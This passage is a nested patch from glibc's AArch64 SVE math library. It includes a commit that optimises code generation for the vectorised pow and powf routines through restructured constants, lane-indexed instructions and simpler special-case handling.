+-#define A __v_pow_log_data.poly
+ #define Off 0x3fe6955500000000
+ 
+ /* Data is defined in v_pow_exp_data.c.  */
+ #define N_EXP (1 << V_POW_EXP_TABLE_BITS)
+ #define SignBias (0x800 << V_POW_EXP_TABLE_BITS)
+-#define C __v_pow_exp_data.poly
+ #define SmallExp 0x3c9 /* top12(0x1p-54).  */
+ #define BigExp 0x408   /* top12(512.).  */
+ #define ThresExp 0x03f /* BigExp - SmallExp.  */
+ #define HugeExp 0x409  /* top12(1024.).  */
+ 
+ /* Constants associated with pow.  */
++#define SmallBoundX 0x1p-126
+ #define SmallPowX 0x001 /* top12(0x1p-126).  */
+ #define BigPowX 0x7ff	/* top12(INFINITY).  */
+ #define ThresPowX 0x7fe /* BigPowX - SmallPowX.  */
+@@ -64,6 +63,31 @@
+ #define BigPowY 0x43e	/* top12(0x1.749p62).  */
+ #define ThresPowY 0x080 /* BigPowY - SmallPowY.  */
+ 
++static const struct data
++{
++  double log_c0, log_c2, log_c4, log_c6, ln2_hi, ln2_lo;
++  double log_c1, log_c3, log_c5, off;
++  double n_over_ln2, exp_c2, ln2_over_n_hi, ln2_over_n_lo;
++  double exp_c0, exp_c1;
++} data = {
++  .log_c0 = -0x1p-1,
++  .log_c1 = -0x1.555555555556p-1,
++  .log_c2 = 0x1.0000000000006p-1,
++  .log_c3 = 0x1.999999959554ep-1,
++  .log_c4 = -0x1.555555529a47ap-1,
++  .log_c5 = -0x1.2495b9b4845e9p0,
++  .log_c6 = 0x1.0002b8b263fc3p0,
++  .off = Off,
++  .exp_c0 = 0x1.fffffffffffd4p-2,
++  .exp_c1 = 0x1.5555571d6ef9p-3,
++  .exp_c2 = 0x1.5555576a5adcep-5,
++  .ln2_hi = 0x1.62e42fefa3800p-1,
++  .ln2_lo = 0x1.ef35793c76730p-45,
++  .n_over_ln2 = 0x1.71547652b82fep0 * N_EXP,
++  .ln2_over_n_hi = 0x1.62e42fefc0000p-9,
++  .ln2_over_n_lo = -0x1.c610ca86c3899p-45,
++};
++
+ /* Check if x is an integer.  */
+ static inline svbool_t
+ sv_isint (svbool_t pg, svfloat64_t x)
+@@ -82,7 +106,7 @@ sv_isnotint (svbool_t pg, svfloat64_t x)
+ static inline svbool_t
+ sv_isodd (svbool_t pg, svfloat64_t x)
+ {
+-  svfloat64_t y = svmul_x (pg, x, 0.5);
++  svfloat64_t y = svmul_x (svptrue_b64 (), x, 0.5);
+   return sv_isnotint (pg, y);
+ }
+ 
+@@ -121,7 +145,7 @@ zeroinfnan (uint64_t i)
+ static inline svbool_t
+ sv_zeroinfnan (svbool_t pg, svuint64_t i)
+ {
+-  return svcmpge (pg, svsub_x (pg, svmul_x (pg, i, 2), 1),
++  return svcmpge (pg, svsub_x (pg, svadd_x (pg, i, i), 1),
+ 		  2 * asuint64 (INFINITY) - 1);
+ }
+ 
+@@ -174,16 +198,17 @@ sv_call_specialcase (svfloat64_t x1, svuint64_t u1, svuint64_t u2,
+    additional 15 bits precision.  IX is the bit representation of x, but
+    normalized in the subnormal range using the sign bit for the exponent.  */
+ static inline svfloat64_t
+-sv_log_inline (svbool_t pg, svuint64_t ix, svfloat64_t *tail)
++sv_log_inline (svbool_t pg, svuint64_t ix, svfloat64_t *tail,
++	       const struct data *d)
+ {
+   /* x = 2^k z; where z is in range [Off,2*Off) and exact.
+      The range is split into N subintervals.
+      The ith subinterval contains z and c is near its center.  */
+-  svuint64_t tmp = svsub_x (pg, ix, Off);
++  svuint64_t tmp = svsub_x (pg, ix, d->off);
+   svuint64_t i = svand_x (pg, svlsr_x (pg, tmp, 52 - V_POW_LOG_TABLE_BITS),
+ 			  sv_u64 (N_LOG - 1));
+   svint64_t k = svasr_x (pg, svreinterpret_s64 (tmp), 52);
+-  svuint64_t iz = svsub_x (pg, ix, svand_x (pg, tmp, sv_u64 (0xfffULL << 52)));
++  svuint64_t iz = svsub_x (pg, ix, svlsl_x (pg, svreinterpret_u64 (k), 52));
+   svfloat64_t z = svreinterpret_f64 (iz);
+   svfloat64_t kd = svcvt_f64_x (pg, k);
+ 
+@@ -199,40 +224,85 @@ sv_log_inline (svbool_t pg, svuint64_t ix, svfloat64_t *tail)
+      |z/c - 1| < 1/N, so r = z/c - 1 is exactly representible.  */
+   svfloat64_t r = svmad_x (pg, z, invc, -1.0);
+   /* k*Ln2 + log(c) + r.  */
+-  svfloat64_t t1 = svmla_x (pg, logc, kd, __v_pow_log_data.ln2_hi);
++
++  svfloat64_t ln2_hilo = svld1rq_f64 (svptrue_b64 (), &d->ln2_hi);
++  svfloat64_t t1 = svmla_lane_f64 (logc, kd, ln2_hilo, 0);
+   svfloat64_t t2 = svadd_x (pg, t1, r);
+-  svfloat64_t lo1 = svmla_x (pg, logctail, kd, __v_pow_log_data.ln2_lo);
++  svfloat64_t lo1 = svmla_lane_f64 (logctail, kd, ln2_hilo, 1);
+   svfloat64_t lo2 = svadd_x (pg, svsub_x (pg, t1, t2), r);
+ 
+   /* Evaluation is optimized assuming superscalar pipelined execution.  */
+-  svfloat64_t ar = svmul_x (pg, r, -0.5); /* A[0] = -0.5.  */
+-  svfloat64_t ar2 = svmul_x (pg, r, ar);
+-  svfloat64_t ar3 = svmul_x (pg, r, ar2);
++
++  svfloat64_t log_c02 = svld1rq_f64 (svptrue_b64 (), &d->log_c0);
++  svfloat64_t ar = svmul_lane_f64 (r, log_c02, 0);
++  svfloat64_t ar2 = svmul_x (svptrue_b64 (), r, ar);
++  svfloat64_t ar3 = svmul_x (svptrue_b64 (), r, ar2);
+   /* k*Ln2 + log(c) + r + A[0]*r*r.  */
+   svfloat64_t hi = svadd_x (pg, t2, ar2);
+-  svfloat64_t lo3 = svmla_x (pg, svneg_x (pg, ar2), ar, r);
++  svfloat64_t lo3 = svmls_x (pg, ar2, ar, r);
+   svfloat64_t lo4 = svadd_x (pg, svsub_x (pg, t2, hi), ar2);
+   /* p = log1p(r) - r - A[0]*r*r.  */
+   /* p = (ar3 * (A[1] + r * A[2] + ar2 * (A[3] + r * A[4] + ar2 * (A[5] + r *
+      A[6])))).  */
+-  svfloat64_t a56 = svmla_x (pg, sv_f64 (A[5]), r, A[6]);
+-  svfloat64_t a34 = svmla_x (pg, sv_f64 (A[3]), r, A[4]);
+-  svfloat64_t a12 = svmla_x (pg, sv_f64 (A[1]), r, A[2]);
++
++  svfloat64_t log_c46 = svld1rq_f64 (svptrue_b64 (), &d->log_c4);
++  svfloat64_t a56 = svmla_lane_f64 (sv_f64 (d->log_c5), r, log_c46, 1);
++  svfloat64_t a34 = svmla_lane_f64 (sv_f64 (d->log_c3), r, log_c46, 0);
++  svfloat64_t a12 = svmla_lane_f64 (sv_f64 (d->log_c1), r, log_c02, 1);
+   svfloat64_t p = svmla_x (pg, a34, ar2, a56);
+   p = svmla_x (pg, a12, ar2, p);
+-  p = svmul_x (pg, ar3, p);
++  p = svmul_x (svptrue_b64 (), ar3, p);
+   svfloat64_t lo = svadd_x (
+-      pg, svadd_x (pg, svadd_x (pg, svadd_x (pg, lo1, lo2), lo3), lo4), p);
++      pg, svadd_x (pg, svsub_x (pg, svadd_x (pg, lo1, lo2), lo3), lo4), p);
+   svfloat64_t y = svadd_x (pg, hi, lo);
+   *tail = svadd_x (pg, svsub_x (pg, hi, y), lo);
+   return y;
+ }
+ 
++static inline svfloat64_t
++sv_exp_core (svbool_t pg, svfloat64_t x, svfloat64_t xtail,
++	     svuint64_t sign_bias, svfloat64_t *tmp, svuint64_t *sbits,
++	     svuint64_t *ki, const struct data *d)
++{
++  /* exp(x) = 2^(k/N) * exp(r), with exp(r) in [2^(-1/2N),2^(1/2N)].  */
++  /* x = ln2/N*k + r, with int k and r in [-ln2/2N, ln2/2N].  */
++  svfloat64_t n_over_ln2_and_c2 = svld1rq_f64 (svptrue_b64 (), &d->n_over_ln2);
++  svfloat64_t z = svmul_lane_f64 (x, n_over_ln2_and_c2, 0);
++  /* z - kd is in [-1, 1] in non-nearest rounding modes.  */
++  svfloat64_t kd = svrinta_x (pg, z);
++  *ki = svreinterpret_u64 (svcvt_s64_x (pg, kd));
++
++  svfloat64_t ln2_over_n_hilo
++      = svld1rq_f64 (svptrue_b64 (), &d->ln2_over_n_hi);
++  svfloat64_t r = x;
++  r = svmls_lane_f64 (r, kd, ln2_over_n_hilo, 0);
++  r = svmls_lane_f64 (r, kd, ln2_over_n_hilo, 1);
++  /* The code assumes 2^-200 < |xtail| < 2^-8/N.  */
++  r = svadd_x (pg, r, xtail);
++  /* 2^(k/N) ~= scale.  */
++  svuint64_t idx = svand_x (pg, *ki, N_EXP - 1);
++  svuint64_t top
++      = svlsl_x (pg, svadd_x (pg, *ki, sign_bias), 52 - V_POW_EXP_TABLE_BITS);
++  /* This is only a valid scale when -1023*N < k < 1024*N.  */
++  *sbits = svld1_gather_index (pg, __v_pow_exp_data.sbits, idx);
++  *sbits = svadd_x (pg, *sbits, top);
++  /* exp(x) = 2^(k/N) * exp(r) ~= scale + scale * (exp(r) - 1).  */
++  svfloat64_t r2 = svmul_x (svptrue_b64 (), r, r);
++  *tmp = svmla_lane_f64 (sv_f64 (d->exp_c1), r, n_over_ln2_and_c2, 1);
++  *tmp = svmla_x (pg, sv_f64 (d->exp_c0), r, *tmp);
++  *tmp = svmla_x (pg, r, r2, *tmp);
++  svfloat64_t scale = svreinterpret_f64 (*sbits);
++  /* Note: tmp == 0 or |tmp| > 2^-200 and scale > 2^-739, so there
++     is no spurious underflow here even without fma.  */
++  z = svmla_x (pg, scale, scale, *tmp);
++  return z;
++}
++
+ /* Computes sign*exp(x+xtail) where |xtail| < 2^-8/N and |xtail| <= |x|.
+    The sign_bias argument is SignBias or 0 and sets the sign to -1 or 1.  */
+ static inline svfloat64_t
+ sv_exp_inline (svbool_t pg, svfloat64_t x, svfloat64_t xtail,
+-	       svuint64_t sign_bias)
++	       svuint64_t sign_bias, const struct data *d)
+ {
+   /* 3 types of special cases: tiny (uflow and spurious uflow), huge (oflow)
+      and other cases of large values of x (scale * (1 + TMP) oflow).  */
+@@ -240,73 +310,46 @@ sv_exp_inline (svbool_t pg, svfloat64_t x, svfloat64_t xtail,
+   /* |x| is large (|x| >= 512) or tiny (|x| <= 0x1p-54).  */
+   svbool_t uoflow = svcmpge (pg, svsub_x (pg, abstop, SmallExp), ThresExp);
+ 
+-  /* Conditions special, uflow and oflow are all expressed as uoflow &&
+-     something, hence do not bother computing anything if no lane in uoflow is
+-     true.  */
+-  svbool_t special = svpfalse_b ();
+-  svbool_t uflow = svpfalse_b ();
+-  svbool_t oflow = svpfalse_b ();
++  svfloat64_t tmp;
++  svuint64_t sbits, ki;
+   if (__glibc_unlikely (svptest_any (pg, uoflow)))
+     {
++      svfloat64_t z
++	  = sv_exp_core (pg, x, xtail, sign_bias, &tmp, &sbits, &ki, d);
++
+       /* |x| is tiny (|x| <= 0x1p-54).  */
+-      uflow = svcmpge (pg, svsub_x (pg, abstop, SmallExp), 0x80000000);
++      svbool_t uflow
++	  = svcmpge (pg, svsub_x (pg, abstop, SmallExp), 0x80000000);
+       uflow = svand_z (pg, uoflow, uflow);
+       /* |x| is huge (|x| >= 1024).  */
+-      oflow = svcmpge (pg, abstop, HugeExp);
++      svbool_t oflow = svcmpge (pg, abstop, HugeExp);
+       oflow = svand_z (pg, uoflow, svbic_z (pg, oflow, uflow));
++
+       /* For large |x| values (512 < |x| < 1024) scale * (1 + TMP) can overflow
+-	 or underflow.  */
+-      special = svbic_z (pg, uoflow, svorr_z (pg, uflow, oflow));
++    or underflow.  */
++      svbool_t special = svbic_z (pg, uoflow, svorr_z (pg, uflow, oflow));
++
++      /* Update result with special and large cases.  */
++      z = sv_call_specialcase (tmp, sbits, ki, z, special);
++
++      /* Handle underflow and overflow.  */
++      svbool_t x_is_neg = svcmplt (pg, x, 0);
++      svuint64_t sign_mask
++	  = svlsl_x (pg, sign_bias, 52 - V_POW_EXP_TABLE_BITS);
++      svfloat64_t res_uoflow
++	  = svsel (x_is_neg, sv_f64 (0.0), sv_f64 (INFINITY));
++      res_uoflow = svreinterpret_f64 (
++	  svorr_x (pg, svreinterpret_u64 (res_uoflow), sign_mask));
++      /* Avoid spurious underflow for tiny x.  */
++      svfloat64_t res_spurious_uflow
++	  = svreinterpret_f64 (svorr_x (pg, sign_mask, 0x3ff0000000000000));
++
++      z = svsel (oflow, res_uoflow, z);
++      z = svsel (uflow, res_spurious_uflow, z);
++      return z;
+     }
+ 
+-  /* exp(x) = 2^(k/N) * exp(r), with exp(r) in [2^(-1/2N),2^(1/2N)].  */
+-  /* x = ln2/N*k + r, with int k and r in [-ln2/2N, ln2/2N].  */
+-  svfloat64_t z = svmul_x (pg, x, __v_pow_exp_data.n_over_ln2);
+-  /* z - kd is in [-1, 1] in non-nearest rounding modes.  */
+-  svfloat64_t shift = sv_f64 (__v_pow_exp_data.shift);
+-  svfloat64_t kd = svadd_x (pg, z, shift);
+-  svuint64_t ki = svreinterpret_u64 (kd);
+-  kd = svsub_x (pg, kd, shift);
+-  svfloat64_t r = x;
+-  r = svmls_x (pg, r, kd, __v_pow_exp_data.ln2_over_n_hi);
+-  r = svmls_x (pg, r, kd, __v_pow_exp_data.ln2_over_n_lo);
+-  /* The code assumes 2^-200 < |xtail| < 2^-8/N.  */
+-  r = svadd_x (pg, r, xtail);
+-  /* 2^(k/N) ~= scale.  */
+-  svuint64_t idx = svand_x (pg, ki, N_EXP - 1);
+-  svuint64_t top
+-      = svlsl_x (pg, svadd_x (pg, ki, sign_bias), 52 - V_POW_EXP_TABLE_BITS);
+-  /* This is only a valid scale when -1023*N < k < 1024*N.  */
+-  svuint64_t sbits = svld1_gather_index (pg, __v_pow_exp_data.sbits, idx);
+-  sbits = svadd_x (pg, sbits, top);
+-  /* exp(x) = 2^(k/N) * exp(r) ~= scale + scale * (exp(r) - 1).  */
+-  svfloat64_t r2 = svmul_x (pg, r, r);
+-  svfloat64_t tmp = svmla_x (pg, sv_f64 (C[1]), r, C[2]);
+-  tmp = svmla_x (pg, sv_f64 (C[0]), r, tmp);
+-  tmp = svmla_x (pg, r, r2, tmp);
+-  svfloat64_t scale = svreinterpret_f64 (sbits);
+-  /* Note: tmp == 0 or |tmp| > 2^-200 and scale > 2^-739, so there
+-     is no spurious underflow here even without fma.  */
+-  z = svmla_x (pg, scale, scale, tmp);
+-
+-  /* Update result with special and large cases.  */
+-  if (__glibc_unlikely (svptest_any (pg, special)))
+-    z = sv_call_specialcase (tmp, sbits, ki, z, special);
+-
+-  /* Handle underflow and overflow.  */
+-  svuint64_t sign_bit = svlsr_x (pg, svreinterpret_u64 (x), 63);
+-  svbool_t x_is_neg = svcmpne (pg, sign_bit, 0);
+-  svuint64_t sign_mask = svlsl_x (pg, sign_bias, 52 - V_POW_EXP_TABLE_BITS);
+-  svfloat64_t res_uoflow = svsel (x_is_neg, sv_f64 (0.0), sv_f64 (INFINITY));
+-  res_uoflow = svreinterpret_f64 (
+-      svorr_x (pg, svreinterpret_u64 (res_uoflow), sign_mask));
+-  z = svsel (oflow, res_uoflow, z);
+-  /* Avoid spurious underflow for tiny x.  */
+-  svfloat64_t res_spurious_uflow
+-      = svreinterpret_f64 (svorr_x (pg, sign_mask, 0x3ff0000000000000));
+-  z = svsel (uflow, res_spurious_uflow, z);
+-
+-  return z;
++  return sv_exp_core (pg, x, xtail, sign_bias, &tmp, &sbits, &ki, d);
+ }
+ 
+ static inline double
+@@ -341,47 +384,39 @@ pow_sc (double x, double y)
+ 
+ svfloat64_t SV_NAME_D2 (pow) (svfloat64_t x, svfloat64_t y, const svbool_t pg)
+ {
++  const struct data *d = ptr_barrier (&data);
++
+   /* This preamble handles special case conditions used in the final scalar
+      fallbacks. It also updates ix and sign_bias, that are used in the core
+      computation too, i.e., exp( y * log (x) ).  */
+   svuint64_t vix0 = svreinterpret_u64 (x);
+   svuint64_t viy0 = svreinterpret_u64 (y);
+-  svuint64_t vtopx0 = svlsr_x (svptrue_b64 (), vix0, 52);
+ 
+   /* Negative x cases.  */
+-  svuint64_t sign_bit = svlsr_m (pg, vix0, 63);
+-  svbool_t xisneg = svcmpeq (pg, sign_bit, 1);
++  svbool_t xisneg = svcmplt (pg, x, 0);
+ 
+   /* Set sign_bias and ix depending on sign of x and nature of y.  */
+-  svbool_t yisnotint_xisneg = svpfalse_b ();
++  svbool_t yint_or_xpos = pg;
+   svuint64_t sign_bias = sv_u64 (0);
+   svuint64_t vix = vix0;
+-  svuint64_t vtopx1 = vtopx0;
+   if (__glibc_unlikely (svptest_any (pg, xisneg)))
+     {
+       /* Determine nature of y.  */
+-      yisnotint_xisneg = sv_isnotint (xisneg, y);
+-      svbool_t yisint_xisneg = sv_isint (xisneg, y);
++      yint_or_xpos = sv_isint (xisneg, y);
+       svbool_t yisodd_xisneg = sv_isodd (xisneg, y);
+       /* ix set to abs(ix) if y is integer.  */
+-      vix = svand_m (yisint_xisneg, vix0, 0x7fffffffffffffff);
+-      vtopx1 = svand_m (yisint_xisneg, vtopx0, 0x7ff);
++      vix = svand_m (yint_or_xpos, vix0, 0x7fffffffffffffff);
+       /* Set to SignBias if x is negative and y is odd.  */
+       sign_bias = svsel (yisodd_xisneg, sv_u64 (SignBias), sv_u64 (0));
+     }
+ 
+-  /* Special cases of x or y: zero, inf and nan.  */
+-  svbool_t xspecial = sv_zeroinfnan (pg, vix0);
+-  svbool_t yspecial = sv_zeroinfnan (pg, viy0);
+-  svbool_t special = svorr_z (pg, xspecial, yspecial);
+-
+   /* Small cases of x: |x| < 0x1p-126.  */
+-  svuint64_t vabstopx0 = svand_x (pg, vtopx0, 0x7ff);
+-  svbool_t xsmall = svcmplt (pg, vabstopx0, SmallPowX);
+-  if (__glibc_unlikely (svptest_any (pg, xsmall)))
++  svbool_t xsmall = svaclt (yint_or_xpos, x, SmallBoundX);
++  if (__glibc_unlikely (svptest_any (yint_or_xpos, xsmall)))
+     {
+       /* Normalize subnormal x so exponent becomes negative.  */
+-      svbool_t topx_is_null = svcmpeq (xsmall, vtopx1, 0);
++      svuint64_t vtopx = svlsr_x (svptrue_b64 (), vix, 52);
++      svbool_t topx_is_null = svcmpeq (xsmall, vtopx, 0);
+ 
+       svuint64_t vix_norm = svreinterpret_u64 (svmul_m (xsmall, x, 0x1p52));
+       vix_norm = svand_m (xsmall, vix_norm, 0x7fffffffffffffff);
+@@ -391,20 +426,24 @@ svfloat64_t SV_NAME_D2 (pow) (svfloat64_t x, svfloat64_t y, const svbool_t pg)
+ 
+   /* y_hi = log(ix, &y_lo).  */
+   svfloat64_t vlo;
+-  svfloat64_t vhi = sv_log_inline (pg, vix, &vlo);
++  svfloat64_t vhi = sv_log_inline (yint_or_xpos, vix, &vlo, d);
+ 
+   /* z = exp(y_hi, y_lo, sign_bias).  */
+-  svfloat64_t vehi = svmul_x (pg, y, vhi);
+-  svfloat64_t velo = svmul_x (pg, y, vlo);
+-  svfloat64_t vemi = svmls_x (pg, vehi, y, vhi);
+-  velo = svsub_x (pg, velo, vemi);
+-  svfloat64_t vz = sv_exp_inline (pg, vehi, velo, sign_bias);
++  svfloat64_t vehi = svmul_x (svptrue_b64 (), y, vhi);
++  svfloat64_t vemi = svmls_x (yint_or_xpos, vehi, y, vhi);
++  svfloat64_t velo = svnmls_x (yint_or_xpos, vemi, y, vlo);
++  svfloat64_t vz = sv_exp_inline (yint_or_xpos, vehi, velo, sign_bias, d);
+ 
+   /* Cases of finite y and finite negative x.  */
+-  vz = svsel (yisnotint_xisneg, sv_f64 (__builtin_nan ("")), vz);
++  vz = svsel (yint_or_xpos, vz, sv_f64 (__builtin_nan ("")));
++
++  /* Special cases of x or y: zero, inf and nan.  */
++  svbool_t xspecial = sv_zeroinfnan (svptrue_b64 (), vix0);
++  svbool_t yspecial = sv_zeroinfnan (svptrue_b64 (), viy0);
++  svbool_t special = svorr_z (svptrue_b64 (), xspecial, yspecial);
+ 
+   /* Cases of zero/inf/nan x or y.  */
+-  if (__glibc_unlikely (svptest_any (pg, special)))
++  if (__glibc_unlikely (svptest_any (svptrue_b64 (), special)))
+     vz = sv_call2_f64 (pow_sc, x, y, vz, special);
+ 
+   return vz;
+
+commit 06fd8ad78f35a6cc65dc7c6c08ce55faf6ad079d
+Author: Yat Long Poon <yatlong.poon@arm.com>
+Date:   Thu Feb 13 18:03:04 2025 +0000
+
+    AArch64: Improve codegen for SVE powf
+    
+    Improve memory access with indexed/unpredicated instructions.
+    Eliminate register spills.  Speedup on Neoverse V1: 3%.
+    
+    Reviewed-by: Wilco Dijkstra  <Wilco.Dijkstra@arm.com>
+    (cherry picked from commit 95e807209b680257a9afe81a507754f1565dbb4d)
+
+diff --git a/sysdeps/aarch64/fpu/powf_sve.c b/sysdeps/aarch64/fpu/powf_sve.c
+index 4f6a142325..08d7019a18 100644
+--- a/sysdeps/aarch64/fpu/powf_sve.c
++++ b/sysdeps/aarch64/fpu/powf_sve.c
+@@ -26,7 +26,6 @@
+ #define Tlogc __v_powf_data.logc
+ #define Texp __v_powf_data.scale
+ #define SignBias (1 << (V_POWF_EXP2_TABLE_BITS + 11))
+-#define Shift 0x1.8p52
+ #define Norm 0x1p23f /* 0x4b000000.  */
+ 
+ /* Overall ULP error bound for pow is 2.6 ulp
+@@ -36,7 +35,7 @@ static const struct data
+   double log_poly[4];
+   double exp_poly[3];
+   float uflow_bound, oflow_bound, small_bound;
+-  uint32_t sign_bias, sign_mask, subnormal_bias, off;
++  uint32_t sign_bias, subnormal_bias, off;
+ } data = {
+   /* rel err: 1.5 * 2^-30. Each coefficients is multiplied the value of
+      V_POWF_EXP2_N.  */
+@@ -53,7 +52,6 @@ static const struct data
+   .small_bound = 0x1p-126f,
+   .off = 0x3f35d000,
+   .sign_bias = SignBias,
+-  .sign_mask = 0x80000000,
+   .subnormal_bias = 0x0b800000, /* 23 << 23.  */
+ };
+ 
+@@ -86,7 +84,7 @@ svisodd (svbool_t pg, svfloat32_t x)
+ static inline svbool_t
+ sv_zeroinfnan (svbool_t pg, svuint32_t i)
+ {
+-  return svcmpge (pg, svsub_x (pg, svmul_x (pg, i, 2u), 1),
++  return svcmpge (pg, svsub_x (pg, svadd_x (pg, i, i), 1),
+ 		  2u * 0x7f800000 - 1);
+ }
+ 
+@@ -150,9 +148,14 @@ powf_specialcase (float x, float y, float z)
+ }
+ 
+ /* Scalar fallback for special case routines with custom signature.  */
+-static inline svfloat32_t
+-sv_call_powf_sc (svfloat32_t x1, svfloat32_t x2, svfloat32_t y, svbool_t cmp)
++static svfloat32_t NOINLINE
++sv_call_powf_sc (svfloat32_t x1, svfloat32_t x2, svfloat32_t y)
+ {
++  /* Special cases of x or y: zero, inf and nan.  */
++  svbool_t xspecial = sv_zeroinfnan (svptrue_b32 (), svreinterpret_u32 (x1));
++  svbool_t yspecial = sv_zeroinfnan (svptrue_b32 (), svreinterpret_u32 (x2));
++  svbool_t cmp = svorr_z (svptrue_b32 (), xspecial, yspecial);
++
+   svbool_t p = svpfirst (cmp, svpfalse ());
+   while (svptest_any (cmp, p))
+     {
+@@ -182,30 +185,30 @@ sv_powf_core_ext (const svbool_t pg, svuint64_t i, svfloat64_t z, svint64_t k,
+ 
+   /* Polynomial to approximate log1p(r)/ln2.  */
+   svfloat64_t logx = A (0);
+-  logx = svmla_x (pg, A (1), r, logx);
+-  logx = svmla_x (pg, A (2), r, logx);
+-  logx = svmla_x (pg, A (3), r, logx);
+-  logx = svmla_x (pg, y0, r, logx);
++  logx = svmad_x (pg, r, logx, A (1));
++  logx = svmad_x (pg, r, logx, A (2));
++  logx = svmad_x (pg, r, logx, A (3));
++  logx = svmad_x (pg, r, logx, y0);
+   *pylogx = svmul_x (pg, y, logx);
+ 
+   /* z - kd is in [-1, 1] in non-nearest rounding modes.  */
+-  svfloat64_t kd = svadd_x (pg, *pylogx, Shift);
+-  svuint64_t ki = svreinterpret_u64 (kd);
+-  kd = svsub_x (pg, kd, Shift);
++  svfloat64_t kd = svrinta_x (svptrue_b64 (), *pylogx);
++  svuint64_t ki = svreinterpret_u64 (svcvt_s64_x (svptrue_b64 (), kd));
+ 
+   r = svsub_x (pg, *pylogx, kd);
+ 
+   /* exp2(x) = 2^(k/N) * 2^r ~= s * (C0*r^3 + C1*r^2 + C2*r + 1).  */
+-  svuint64_t t
+-      = svld1_gather_index (pg, Texp, svand_x (pg, ki, V_POWF_EXP2_N - 1));
+-  svuint64_t ski = svadd_x (pg, ki, sign_bias);
+-  t = svadd_x (pg, t, svlsl_x (pg, ski, 52 - V_POWF_EXP2_TABLE_BITS));
++  svuint64_t t = svld1_gather_index (
++      svptrue_b64 (), Texp, svand_x (svptrue_b64 (), ki, V_POWF_EXP2_N - 1));
++  svuint64_t ski = svadd_x (svptrue_b64 (), ki, sign_bias);
++  t = svadd_x (svptrue_b64 (), t,
++	       svlsl_x (svptrue_b64 (), ski, 52 - V_POWF_EXP2_TABLE_BITS));
+   svfloat64_t s = svreinterpret_f64 (t);
+ 
+   svfloat64_t p = C (0);
+   p = svmla_x (pg, C (1), p, r);
+   p = svmla_x (pg, C (2), p, r);
+-  p = svmla_x (pg, s, p, svmul_x (pg, s, r));
++  p = svmla_x (pg, s, p, svmul_x (svptrue_b64 (), s, r));
+ 
+   return p;
+ }
+@@ -219,19 +222,16 @@ sv_powf_core (const svbool_t pg, svuint32_t i, svuint32_t iz, svint32_t k,
+ {
+   const svbool_t ptrue = svptrue_b64 ();
+ 
+-  /* Unpack and promote input vectors (pg, y, z, i, k and sign_bias) into two in
+-     order to perform core computation in double precision.  */
++  /* Unpack and promote input vectors (pg, y, z, i, k and sign_bias) into two
++   * in order to perform core computation in double precision.  */
+   const svbool_t pg_lo = svunpklo (pg);
+   const svbool_t pg_hi = svunpkhi (pg);
+-  svfloat64_t y_lo = svcvt_f64_x (
+-      ptrue, svreinterpret_f32 (svunpklo (svreinterpret_u32 (y))));
+-  svfloat64_t y_hi = svcvt_f64_x (
+-      ptrue, svreinterpret_f32 (svunpkhi (svreinterpret_u32 (y))));
+-  svfloat32_t z = svreinterpret_f32 (iz);
+-  svfloat64_t z_lo = svcvt_f64_x (
+-      ptrue, svreinterpret_f32 (svunpklo (svreinterpret_u32 (z))));
+-  svfloat64_t z_hi = svcvt_f64_x (
+-      ptrue, svreinterpret_f32 (svunpkhi (svreinterpret_u32 (z))));
++  svfloat64_t y_lo
++      = svcvt_f64_x (pg, svreinterpret_f32 (svunpklo (svreinterpret_u32 (y))));
++  svfloat64_t y_hi
++      = svcvt_f64_x (pg, svreinterpret_f32 (svunpkhi (svreinterpret_u32 (y))));
++  svfloat64_t z_lo = svcvt_f64_x (pg, svreinterpret_f32 (svunpklo (iz)));
++  svfloat64_t z_hi = svcvt_f64_x (pg, svreinterpret_f32 (svunpkhi (iz)));
+   svuint64_t i_lo = svunpklo (i);
+   svuint64_t i_hi = svunpkhi (i);
+   svint64_t k_lo = svunpklo (k);
+@@ -258,9 +258,9 @@ sv_powf_core (const svbool_t pg, svuint32_t i, svuint32_t iz, svint32_t k,
+ /* Implementation of SVE powf.
+    Provides the same accuracy as AdvSIMD powf, since it relies on the same
+    algorithm. The theoretical maximum error is under 2.60 ULPs.
+-   Maximum measured error is 2.56 ULPs:
+-   SV_NAME_F2 (pow) (0x1.004118p+0, 0x1.5d14a4p+16) got 0x1.fd4bp+127
+-						   want 0x1.fd4b06p+127.  */
++   Maximum measured error is 2.57 ULPs:
++   SV_NAME_F2 (pow) (0x1.031706p+0, 0x1.ce2ec2p+12) got 0x1.fff868p+127
++						   want 0x1.fff862p+127.  */
+ svfloat32_t SV_NAME_F2 (pow) (svfloat32_t x, svfloat32_t y, const svbool_t pg)
+ {
+   const struct data *d = ptr_barrier (&data);
+@@ -269,21 +269,19 @@ svfloat32_t SV_NAME_F2 (pow) (svfloat32_t x, svfloat32_t y, const svbool_t pg)
+   svuint32_t viy0 = svreinterpret_u32 (y);
+ 
+   /* Negative x cases.  */
+-  svuint32_t sign_bit = svand_m (pg, vix0, d->sign_mask);
+-  svbool_t xisneg = svcmpeq (pg, sign_bit, d->sign_mask);
++  svbool_t xisneg = svcmplt (pg, x, sv_f32 (0));
+ 
+   /* Set sign_bias and ix depending on sign of x and nature of y.  */
+-  svbool_t yisnotint_xisneg = svpfalse_b ();
++  svbool_t yint_or_xpos = pg;
+   svuint32_t sign_bias = sv_u32 (0);
+   svuint32_t vix = vix0;
+   if (__glibc_unlikely (svptest_any (pg, xisneg)))
+     {
+       /* Determine nature of y.  */
+-      yisnotint_xisneg = svisnotint (xisneg, y);
+-      svbool_t yisint_xisneg = svisint (xisneg, y);
++      yint_or_xpos = svisint (xisneg, y);
+       svbool_t yisodd_xisneg = svisodd (xisneg, y);
+       /* ix set to abs(ix) if y is integer.  */
+-      vix = svand_m (yisint_xisneg, vix0, 0x7fffffff);
++      vix = svand_m (yint_or_xpos, vix0, 0x7fffffff);
+       /* Set to SignBias if x is negative and y is odd.  */
+       sign_bias = svsel (yisodd_xisneg, sv_u32 (d->sign_bias), sv_u32 (0));
+     }
+@@ -294,8 +292,8 @@ svfloat32_t SV_NAME_F2 (pow) (svfloat32_t x, svfloat32_t y, const svbool_t pg)
+   svbool_t cmp = svorr_z (pg, xspecial, yspecial);
+ 
+   /* Small cases of x: |x| < 0x1p-126.  */
+-  svbool_t xsmall = svaclt (pg, x, d->small_bound);
+-  if (__glibc_unlikely (svptest_any (pg, xsmall)))
++  svbool_t xsmall = svaclt (yint_or_xpos, x, d->small_bound);
++  if (__glibc_unlikely (svptest_any (yint_or_xpos, xsmall)))
+     {
+       /* Normalize subnormal x so exponent becomes negative.  */
+       svuint32_t vix_norm = svreinterpret_u32 (svmul_x (xsmall, x, Norm));
